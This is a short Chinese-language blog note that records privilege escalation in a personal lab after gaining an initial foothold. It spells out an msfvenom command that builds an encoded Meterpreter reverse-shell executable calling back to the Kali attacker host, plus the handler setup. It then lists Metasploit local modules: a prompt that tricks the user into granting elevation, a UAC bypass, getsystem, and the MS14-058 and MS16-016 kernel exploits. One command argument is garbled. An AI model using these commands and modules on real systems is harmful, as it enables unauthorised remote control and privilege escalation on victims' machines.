初学内网渗透之权限提升

关于后渗透的一些权限提升

这是我自己乱记的笔记，大佬们看看就好了。[aru_15]

1.环境准备：

Kali：192.168.137.138

靶机： 192.168.137.129 （win2012） 192.168.137.150 （win2008）

2.木马客户端生成：

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.137.138 LPORT"\x00" -e x86/shikata_ga_nai -f exe > msf.exe  （把生成的文件上传到靶机上，监听会话后运行。）

监听会话：use exploit/multi/handler

payload:windows/meterpreter/reverse_tcp

3.建立会话：

（低权限）

（直接提权失败）

4.Msf模块：（提权操作win2012测试）

Exploit/windows/local/ask      (在已经获取低权限会话时候使用，诱导用户点击执行)

（点击是后就建立新的会话）

获取新的session 4后，进行getsystem进行提升权限，提升到system权限。

（获取高权限）

5.UAC提权模块：（win2008靶机测试）

设置低权限session 3

然后执行，成功返回会话。

6.利用提权漏洞进行提取

1）.exploit/windows/local/ms14_058_track_popup_menu （靶机上没该漏洞。）

该漏洞存在的系统：

（执行成功的话，直接返回system权限。）

总结：本地提权漏洞存在很多，可以根据系统多试试。比如ms16_016